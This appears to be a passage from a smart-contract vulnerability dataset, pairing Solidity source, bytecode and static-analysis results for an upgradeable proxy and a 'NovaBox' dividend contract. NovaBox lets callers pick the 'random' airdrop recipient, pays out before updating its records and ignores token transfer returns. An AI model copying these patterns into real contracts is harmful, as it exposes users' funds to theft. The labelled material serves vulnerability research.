0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation()
internal
view
virtual
override
returns (address impl)
{
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(
Address.isContract(newImplementation),
"UpgradeableProxy: new implementation is not a contract"
);
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(
address _logic,
address admin_,
bytes memory _data
) payable UpgradeableProxy(_logic, _data) {
assert(
_ADMIN_SLOT ==
bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)
);
_setAdmin(admin_);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _admin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation()
external
ifAdmin
returns (address implementation_)
{
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
require(
newAdmin != address(0),
"TransparentUpgradeableProxy: new admin is the zero address"
);
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external virtual ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
virtual
ifAdmin
{
_upgradeTo(newImplementation);
Address.functionDelegateCall(newImplementation, data);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(
msg.sender != _admin(),
"TransparentUpgradeableProxy: admin cannot fallback to proxy target"
);
super._beforeFallback();
}
}
contract CeramicRewardUpgradeableProx is TransparentUpgradeableProxy {
constructor(
address logic,
address admin,
bytes memory data
) TransparentUpgradeableProxy(logic, admin, data) {}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100675780634f1ef286146100905780635c60da1b146100ac5780638f283970146100d7578063f851a440146101005761005d565b3661005d5761005b61012b565b005b61006561012b565b005b34801561007357600080fd5b5061008e600480360381019061008991906107c7565b610145565b005b6100aa60048036038101906100a591906107f0565b61019a565b005b3480156100b857600080fd5b506100c1610240565b6040516100ce9190610a96565b60405180910390f35b3480156100e357600080fd5b506100fe60048036038101906100f991906107c7565b610298565b005b34801561010c57600080fd5b5061011561039d565b6040516101229190610a96565b60405180910390f35b610133610435565b61014361013e6104b5565b6104e6565b565b61014d61050c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561018e576101898161053d565b610197565b61019661012b565b5b50565b6101a261050c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610232576101de8361053d565b61022c8383838080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506103f5565b5061023b565b61023a61012b565b5b505050565b600061024a61050c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561028c576102856104b5565b9050610295565b61029461012b565b5b90565b6102a061050c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561039157600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610343576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161033a90610afc565b60405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61036c61050c565b8260405161037b929190610ab1565b60405180910390a161038c8161058c565b61039a565b61039961012b565b5b50565b60006103a761050c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103e9576103e261050c565b90506103f2565b6103f161012b565b5b90565b606061041a8383604051806060016040528060278152602001610c3c602791396105bb565b905092915050565b600080823b905060008111915050919050565b61043d61050c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156104ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104a290610b5c565b60405180910390fd5b6104b3610688565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e8060008114610507573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b9050805491505090565b6105468161068a565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b90508181555050565b60606105c684610422565b610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90610b3c565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff168560405161062d9190610a7f565b600060405180830381855af49150503d8060008114610668576040519150601f19603f3d011682016040523d82523d6000602084013e61066d565b606091505b509150915061067d828286610701565b925050509392505050565b565b61069381610422565b6106d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c990610b1c565b60405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b90508181555050565b6060831561071157829050610761565b6000835111156107245782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107589190610ada565b60405180910390fd5b9392505050565b60008135905061077781610c24565b92915050565b60008083601f84011261078f57600080fd5b8235905067ffffffffffffffff8111156107a857600080fd5b6020830191508360018202830111156107c057600080fd5b9250929050565b6000602082840312156107d957600080fd5b60006107e784828501610768565b91505092915050565b60008060006040848603121561080557600080fd5b600061081386828701610768565b935050602084013567ffffffffffffffff81111561083057600080fd5b61083c8682870161077d565b92509250509250925092565b61085181610bae565b82525050565b600061086282610b7c565b61086c8185610b92565b935061087c818560208601610be0565b80840191505092915050565b600061089382610b87565b61089d8185610b9d565b93506108ad818560208601610be0565b6108b681610c13565b840191505092915050565b60006108ce603a83610b9d565b91507f5472616e73706172656e745570677261646561626c6550726f78793a206e657760008301527f2061646d696e20697320746865207a65726f20616464726573730000000000006020830152604082019050919050565b6000610934603683610b9d565b91507f5570677261646561626c6550726f78793a206e657720696d706c656d656e746160008301527f74696f6e206973206e6f74206120636f6e7472616374000000000000000000006020830152604082019050919050565b600061099a602683610b9d565b91507f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60008301527f6e747261637400000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610a00604283610b9d565b91507f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60008301527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760208301527f65740000000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000610a8b8284610857565b915081905092915050565b6000602082019050610aab6000830184610848565b92915050565b6000604082019050610ac66000830185610848565b610ad36020830184610848565b9392505050565b60006020820190508181036000830152610af48184610888565b905092915050565b60006020820190508181036000830152610b15816108c1565b9050919050565b60006020820190508181036000830152610b3581610927565b9050919050565b60006020820190508181036000830152610b558161098d565b9050919050565b60006020820190508181036000830152610b75816109f3565b9050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610bb982610bc0565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60005b83811015610bfe578082015181840152602081019050610be3565b83811115610c0d576000848401525b50505050565b6000601f19601f8301169050919050565b610c2d81610bae565b8114610c3857600080fd5b5056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220bcb0d7407a318f2272eff1d747977e81e79e2243b37dde560893fce863b29b0764736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,334 |
0xbc4191167d4b0251cab5201a527daa8a7d3846b0
|
pragma solidity ^0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface token {
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
function allowance(address, address) external constant returns (uint256);
function balanceOf(address) external constant returns (uint256);
}
/** LOGIC DESCRIPTION
* 11% fees in and out for ETH
* 11% fees in and out for NOVA
*
* ETH fees split:
* 6% to nova holders
* 4% to eth holders
* 1% to fixed address
*
* NOVA fees split:
* 6% to nova holders
* 4% to eth holders
* 1% airdrop to a random address based on their nova shares
* rules:
* - you need to have both nova and eth to get dividends
*/
contract NovaBox is Ownable {
using SafeMath for uint;
token tokenReward;
constructor() public {
tokenReward = token(0x72FBc0fc1446f5AcCC1B083F0852a7ef70a8ec9f);
}
event AirDrop(address to, uint amount, uint randomTicket);
event DividendsTransferred(address to, uint ethAmount, uint novaAmount);
// ether contributions
mapping (address => uint) public contributionsEth;
// token contributions
mapping (address => uint) public contributionsToken;
// investors list who have deposited BOTH ether and token
mapping (address => uint) public indexes;
mapping (uint => address) public addresses;
uint256 public lastIndex = 0;
mapping (address => bool) public addedToList;
uint _totalTokens = 0;
uint _totalWei = 0;
uint pointMultiplier = 1e18;
mapping (address => uint) public last6EthDivPoints;
uint public total6EthDivPoints = 0;
// uint public unclaimed6EthDivPoints = 0;
mapping (address => uint) public last4EthDivPoints;
uint public total4EthDivPoints = 0;
// uint public unclaimed4EthDivPoints = 0;
mapping (address => uint) public last6TokenDivPoints;
uint public total6TokenDivPoints = 0;
// uint public unclaimed6TokenDivPoints = 0;
mapping (address => uint) public last4TokenDivPoints;
uint public total4TokenDivPoints = 0;
// uint public unclaimed4TokenDivPoints = 0;
function ethDivsOwing(address _addr) public view returns (uint) {
return eth4DivsOwing(_addr).add(eth6DivsOwing(_addr));
}
function eth6DivsOwing(address _addr) public view returns (uint) {
if (!addedToList[_addr]) return 0;
uint newEth6DivPoints = total6EthDivPoints.sub(last6EthDivPoints[_addr]);
return contributionsToken[_addr].mul(newEth6DivPoints).div(pointMultiplier);
}
function eth4DivsOwing(address _addr) public view returns (uint) {
if (!addedToList[_addr]) return 0;
uint newEth4DivPoints = total4EthDivPoints.sub(last4EthDivPoints[_addr]);
return contributionsEth[_addr].mul(newEth4DivPoints).div(pointMultiplier);
}
function tokenDivsOwing(address _addr) public view returns (uint) {
return token4DivsOwing(_addr).add(token6DivsOwing(_addr));
}
function token6DivsOwing(address _addr) public view returns (uint) {
if (!addedToList[_addr]) return 0;
uint newToken6DivPoints = total6TokenDivPoints.sub(last6TokenDivPoints[_addr]);
return contributionsToken[_addr].mul(newToken6DivPoints).div(pointMultiplier);
}
function token4DivsOwing(address _addr) public view returns (uint) {
if (!addedToList[_addr]) return 0;
uint newToken4DivPoints = total4TokenDivPoints.sub(last4TokenDivPoints[_addr]);
return contributionsEth[_addr].mul(newToken4DivPoints).div(pointMultiplier);
}
function updateAccount(address account) private {
uint owingEth6 = eth6DivsOwing(account);
uint owingEth4 = eth4DivsOwing(account);
uint owingEth = owingEth4.add(owingEth6);
uint owingToken6 = token6DivsOwing(account);
uint owingToken4 = token4DivsOwing(account);
uint owingToken = owingToken4.add(owingToken6);
if (owingEth > 0) {
// send ether dividends to account
account.transfer(owingEth);
}
if (owingToken > 0) {
// send token dividends to account
tokenReward.transfer(account, owingToken);
}
last6EthDivPoints[account] = total6EthDivPoints;
last4EthDivPoints[account] = total4EthDivPoints;
last6TokenDivPoints[account] = total6TokenDivPoints;
last4TokenDivPoints[account] = total4TokenDivPoints;
emit DividendsTransferred(account, owingEth, owingToken);
}
function addToList(address sender) private {
addedToList[sender] = true;
// if the sender is not in the list
if (indexes[sender] == 0) {
_totalTokens = _totalTokens.add(contributionsToken[sender]);
_totalWei = _totalWei.add(contributionsEth[sender]);
// add the sender to the list
lastIndex++;
addresses[lastIndex] = sender;
indexes[sender] = lastIndex;
}
}
function removeFromList(address sender) private {
addedToList[sender] = false;
// if the sender is in temp eth list
if (indexes[sender] > 0) {
_totalTokens = _totalTokens.sub(contributionsToken[sender]);
_totalWei = _totalWei.sub(contributionsEth[sender]);
// remove the sender from temp eth list
addresses[indexes[sender]] = addresses[lastIndex];
indexes[addresses[lastIndex]] = indexes[sender];
indexes[sender] = 0;
delete addresses[lastIndex];
lastIndex--;
}
}
// desposit ether
function () payable public {
address sender = msg.sender;
// size of code at target address
uint codeLength;
// get the length of code at the sender address
assembly {
codeLength := extcodesize(sender)
}
// don't allow contracts to deposit ether
require(codeLength == 0);
uint weiAmount = msg.value;
updateAccount(sender);
// number of ether sent must be greater than 0
require(weiAmount > 0);
uint _89percent = weiAmount.mul(89).div(100);
uint _6percent = weiAmount.mul(6).div(100);
uint _4percent = weiAmount.mul(4).div(100);
uint _1percent = weiAmount.mul(1).div(100);
distributeEth(
_6percent, // to nova investors
_4percent // to eth investors
);
//1% goes to REX Investors
owner.transfer(_1percent);
contributionsEth[sender] = contributionsEth[sender].add(_89percent);
// if the sender is in list
if (indexes[sender]>0) {
// increase _totalWei
_totalWei = _totalWei.add(_89percent);
}
// if the sender has also deposited tokens, add sender to list
if (contributionsToken[sender]>0) addToList(sender);
}
// withdraw ether
function withdrawEth(uint amount) public {
address sender = msg.sender;
require(amount>0 && contributionsEth[sender] >= amount);
updateAccount(sender);
uint _89percent = amount.mul(89).div(100);
uint _6percent = amount.mul(6).div(100);
uint _4percent = amount.mul(4).div(100);
uint _1percent = amount.mul(1).div(100);
contributionsEth[sender] = contributionsEth[sender].sub(amount);
// if sender is in list
if (indexes[sender]>0) {
// decrease total wei
_totalWei = _totalWei.sub(amount);
}
// if the sender has withdrawn all their eth
// remove the sender from list
if (contributionsEth[sender] == 0) removeFromList(sender);
sender.transfer(_89percent);
distributeEth(
_6percent, // to nova investors
_4percent // to eth investors
);
owner.transfer(_1percent); //1% goes to REX Investors
}
// deposit tokens
function depositTokens(address randomAddr, uint randomTicket) public {
updateAccount(msg.sender);
address sender = msg.sender;
uint amount = tokenReward.allowance(sender, address(this));
// number of allowed tokens must be greater than 0
// if it is then transfer the allowed tokens from sender to the contract
// if not transferred then throw
require(amount>0 && tokenReward.transferFrom(sender, address(this), amount));
uint _89percent = amount.mul(89).div(100);
uint _6percent = amount.mul(6).div(100);
uint _4percent = amount.mul(4).div(100);
uint _1percent = amount.mul(1).div(100);
distributeTokens(
_6percent, // to nova investors
_4percent // to eth investors
);
tokenReward.transfer(randomAddr, _1percent);
// 1% for Airdrop
emit AirDrop(randomAddr, _1percent, randomTicket);
contributionsToken[sender] = contributionsToken[sender].add(_89percent);
// if sender is in list
if (indexes[sender]>0) {
// increase totaltokens
_totalTokens = _totalTokens.add(_89percent);
}
// if the sender has also contributed ether add sender to list
if (contributionsEth[sender]>0) addToList(sender);
}
// withdraw tokens
function withdrawTokens(uint amount, address randomAddr, uint randomTicket) public {
address sender = msg.sender;
updateAccount(sender);
// requested amount must be greater than 0 and
// the sender must have contributed tokens no less than `amount`
require(amount>0 && contributionsToken[sender]>=amount);
uint _89percent = amount.mul(89).div(100);
uint _6percent = amount.mul(6).div(100);
uint _4percent = amount.mul(4).div(100);
uint _1percent = amount.mul(1).div(100);
contributionsToken[sender] = contributionsToken[sender].sub(amount);
// if sender is in list
if (indexes[sender]>0) {
// decrease total tokens
_totalTokens = _totalTokens.sub(amount);
}
// if sender withdrawn all their tokens, remove them from list
if (contributionsToken[sender] == 0) removeFromList(sender);
tokenReward.transfer(sender, _89percent);
distributeTokens(
_6percent, // to nova investors
_4percent // to eth investors
);
// airdropToRandom(_1percent);
tokenReward.transfer(randomAddr, _1percent);
emit AirDrop(randomAddr, _1percent, randomTicket);
}
function distributeTokens(uint _6percent, uint _4percent) private {
uint totalTokens = getTotalTokens();
uint totalWei = getTotalWei();
if (totalWei == 0 || totalTokens == 0) return;
total4TokenDivPoints = total4TokenDivPoints.add(_4percent.mul(pointMultiplier).div(totalWei));
// unclaimed4TokenDivPoints = unclaimed4TokenDivPoints.add(_4percent);
total6TokenDivPoints = total6TokenDivPoints.add(_6percent.mul(pointMultiplier).div(totalTokens));
// unclaimed6TokenDivPoints = unclaimed6TokenDivPoints.add(_6percent);
}
function distributeEth(uint _6percent, uint _4percent) private {
uint totalTokens = getTotalTokens();
uint totalWei = getTotalWei();
if (totalWei ==0 || totalTokens == 0) return;
total4EthDivPoints = total4EthDivPoints.add(_4percent.mul(pointMultiplier).div(totalWei));
// unclaimed4EthDivPoints += _4percent;
total6EthDivPoints = total6EthDivPoints.add(_6percent.mul(pointMultiplier).div(totalTokens));
// unclaimed6EthDivPoints += _6percent;
}
// get sum of tokens contributed by the ether investors
function getTotalTokens() public view returns (uint) {
return _totalTokens;
}
// get the sum of wei contributed by the token investors
function getTotalWei() public view returns (uint) {
return _totalWei;
}
function withdrawDivs() public {
updateAccount(msg.sender);
}
// get the list of investors
function getList() public view returns (address[], uint[]) {
address[] memory _addrs = new address[](lastIndex);
uint[] memory _contributions = new uint[](lastIndex);
for (uint i = 1; i <= lastIndex; i++) {
_addrs[i-1] = addresses[i];
_contributions[i-1] = contributionsToken[addresses[i]];
}
return (_addrs, _contributions);
}
}
|
0x6080604052600436106101745763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166303e1001e81146102ef5780630aa8bfe7146103225780630bb4e6f4146103375780631080b7b11461034c57806310d979f61461036d5780631288a8e91461038e5780631703b7fd146103af57806324e5dacd146103d05780632db78d93146103f15780634b1cdc2d146104125780634e52622b146104335780635c7ae6e31461045457806366168bd714610475578063740b4b601461049b5780638a561f37146104d05780638da5cb5b146104e5578063942b765a146105165780639ddf840d146105c4578063c04ae37f146105d9578063c311d049146105ee578063c69ea42f14610606578063d59dd5d214610627578063dd93aa8114610648578063e8836dcb14610669578063edf26d9b1461067e578063f08b82e614610696578063f2fde38b146106ab578063f3f6f0d7146106cc578063fecf9959146106e1575b33803b600080808080851561018857600080fd5b34945061019487610708565b600085116101a157600080fd5b6101c360646101b787605963ffffffff6108bd16565b9063ffffffff6108f616565b93506101db60646101b787600663ffffffff6108bd16565b92506101f360646101b787600463ffffffff6108bd16565b915061020b60646101b787600163ffffffff6108bd16565b90506102178383610919565b60008054604051600160a060020a039091169183156108fc02918491818181858888f19350505050158015610250573d6000803e3d6000fd5b50600160a060020a03871660009081526002602052604090205461027a908563ffffffff6109aa16565b600160a060020a038816600090815260026020908152604080832093909355600490529081205411156102be576009546102ba908563ffffffff6109aa16565b6009555b600160a060020a03871660009081526003602052604081205411156102e6576102e6876109bc565b50505050505050005b3480156102fb57600080fd5b50610310600160a060020a0360043516610aa1565b60408051918252519081900360200190f35b34801561032e57600080fd5b50610310610ab3565b34801561034357600080fd5b50610310610ab9565b34801561035857600080fd5b50610310600160a060020a0360043516610abf565b34801561037957600080fd5b50610310600160a060020a0360043516610b53565b34801561039a57600080fd5b50610310600160a060020a0360043516610b7c565b3480156103bb57600080fd5b50610310600160a060020a0360043516610b8e565b3480156103dc57600080fd5b50610310600160a060020a0360043516610be6565b3480156103fd57600080fd5b50610310600160a060020a0360043516610bf8565b34801561041e57600080fd5b50610310600160a060020a0360043516610c0a565b34801561043f57600080fd5b50610310600160a060020a0360043516610c95565b34801561046057600080fd5b50610310600160a060020a0360043516610ced565b34801561048157600080fd5b50610499600160a060020a0360043516602435610d04565b005b3480156104a757600080fd5b506104bc600160a060020a0360043516611043565b604080519115158252519081900360200190f35b3480156104dc57600080fd5b50610310611058565b3480156104f157600080fd5b506104fa61105e565b60408051600160a060020a039092168252519081900360200190f35b34801561052257600080fd5b5061052b61106d565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561056f578181015183820152602001610557565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156105ae578181015183820152602001610596565b5050505090500194505050505060405180910390f35b3480156105d057600080fd5b50610499611170565b3480156105e557600080fd5b5061031061117b565b3480156105fa57600080fd5b50610499600435611181565b34801561061257600080fd5b50610310600160a060020a036004351661133b565b34801561063357600080fd5b50610310600160a060020a036004351661134d565b34801561065457600080fd5b50610310600160a060020a036004351661135f565b34801561067557600080fd5b50610310611371565b34801561068a57600080fd5b506104fa600435611377565b3480156106a257600080fd5b50610310611392565b3480156106b757600080fd5b50610499600160a060020a0360043516611398565b3480156106d857600080fd5b5061031061142c565b3480156106ed57600080fd5b50610499600435600160a060020a0360243516604435611432565b60008060008060008061071a87610c95565b955061072587610b8e565b9450610737858763ffffffff6109aa16565b935061074287610c0a565b925061074d87610abf565b915061075f828463ffffffff6109aa16565b905060008411156107a257604051600160a060020a0388169085156108fc029086906000818181858888f193505050501580156107a0573d6000803e3d6000fd5b505b6000811115610831576001546040805160e060020a63a9059cbb028152600160a060020a038a81166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561080457600080fd5b505af1158015610818573d6000803e3d6000fd5b505050506040513d602081101561082e57600080fd5b50505b600c54600160a060020a0388166000818152600b6020908152604080832094909455600e54600d825284832055601054600f8252848320556012546011825291849020919091558251918252810186905280820183905290517fdd6e13fa60b7ff497716fc07cf86f41f54c3f689473ea4517e9489eb1e50e9ed9181900360600190a150505050505050565b6000808315156108d057600091506108ef565b508282028284828115156108e057fe5b04146108eb57600080fd5b8091505b5092915050565b60008080831161090557600080fd5b828481151561091057fe5b04949350505050565b600080610924611392565b915061092e610ab9565b905080158061093b575081155b15610945576109a4565b610970610961826101b7600a54876108bd90919063ffffffff16565b600e549063ffffffff6109aa16565b600e55600a546109a0906109919084906101b790889063ffffffff6108bd16565b600c549063ffffffff6109aa16565b600c555b50505050565b6000828201838110156108eb57600080fd5b600160a060020a0381166000908152600760209081526040808320805460ff1916600117905560049091529020541515610a9e57600160a060020a038116600090815260036020526040902054600854610a1b9163ffffffff6109aa16565b600855600160a060020a038116600090815260026020526040902054600954610a499163ffffffff6109aa16565b600955600680546001018082556000908152600560209081526040808320805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038716908117909155935493835260049091529020555b50565b600b6020526000908152604090205481565b600c5481565b60095490565b600160a060020a038116600090815260076020526040812054819060ff161515610aec5760009150610b4d565b600160a060020a038316600090815260116020526040902054601254610b179163ffffffff6116d216565b600a54600160a060020a038516600090815260026020526040902054919250610b4a916101b7908463ffffffff6108bd16565b91505b50919050565b6000610b76610b6183610c0a565b610b6a84610abf565b9063ffffffff6109aa16565b92915050565b60036020526000908152604090205481565b600160a060020a038116600090815260076020526040812054819060ff161515610bbb5760009150610b4d565b600160a060020a0383166000908152600d6020526040902054600e54610b179163ffffffff6116d216565b600f6020526000908152604090205481565b60046020526000908152604090205481565b600160a060020a038116600090815260076020526040812054819060ff161515610c375760009150610b4d565b600160a060020a0383166000908152600f6020526040902054601054610c629163ffffffff6116d216565b600a54600160a060020a038516600090815260036020526040902054919250610b4a916101b7908463ffffffff6108bd16565b600160a060020a038116600090815260076020526040812054819060ff161515610cc25760009150610b4d565b600160a060020a0383166000908152600b6020526040902054600c54610c629163ffffffff6116d216565b6000610b76610cfb83610c95565b610b6a84610b8e565b600080600080600080610d1633610708565b600154604080517fdd62ed3e00000000000000000000000000000000000000000000000000000000815233600482018190523060248301529151919850600160a060020a039092169163dd62ed3e9160448083019260209291908290030181600087803b158015610d8657600080fd5b505af1158015610d9a573d6000803e3d6000fd5b505050506040513d6020811015610db057600080fd5b50519450600085118015610e615750600154604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a03898116600483015230602483015260448201899052915191909216916323b872dd9160648083019260209291908290030181600087803b158015610e3457600080fd5b505af1158015610e48573d6000803e3d6000fd5b505050506040513d6020811015610e5e57600080fd5b50515b1515610e6c57600080fd5b610e8260646101b787605963ffffffff6108bd16565b9350610e9a60646101b787600663ffffffff6108bd16565b9250610eb260646101b787600463ffffffff6108bd16565b9150610eca60646101b787600163ffffffff6108bd16565b9050610ed683836116e9565b6001546040805160e060020a63a9059cbb028152600160a060020a038b81166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610f2f57600080fd5b505af1158015610f43573d6000803e3d6000fd5b505050506040513d6020811015610f5957600080fd5b505060408051600160a060020a038a1681526020810183905280820189905290517fc804beabd6deef69632486188d3b1a0fc6837d20bf348393884d368fa5bf10cd9181900360600190a1600160a060020a038616600090815260036020526040902054610fcd908563ffffffff6109aa16565b600160a060020a038716600090815260036020908152604080832093909355600490529081205411156110115760085461100d908563ffffffff6109aa16565b6008555b600160a060020a038616600090815260026020526040812054111561103957611039866109bc565b5050505050505050565b60076020526000908152604090205460ff1681565b600e5481565b600054600160a060020a031681565b60608060608060006006546040519080825280602002602001820160405280156110a1578160200160208202803883390190505b5092506006546040519080825280602002602001820160405280156110d0578160200160208202803883390190505b509150600190505b6006548111611166576000818152600560205260409020548351600160a060020a03909116908490600019840190811061110e57fe5b600160a060020a03928316602091820290920181019190915260008381526005825260408082205490931681526003909152205482518390600019840190811061115457fe5b602090810290910101526001016110d8565b5090939092509050565b61117933610708565b565b60125481565b33600080808080861180156111ae5750600160a060020a0385166000908152600260205260409020548611155b15156111b957600080fd5b6111c285610708565b6111d860646101b788605963ffffffff6108bd16565b93506111f060646101b788600663ffffffff6108bd16565b925061120860646101b788600463ffffffff6108bd16565b915061122060646101b788600163ffffffff6108bd16565b600160a060020a03861660009081526002602052604090205490915061124c908763ffffffff6116d216565b600160a060020a038616600090815260026020908152604080832093909355600490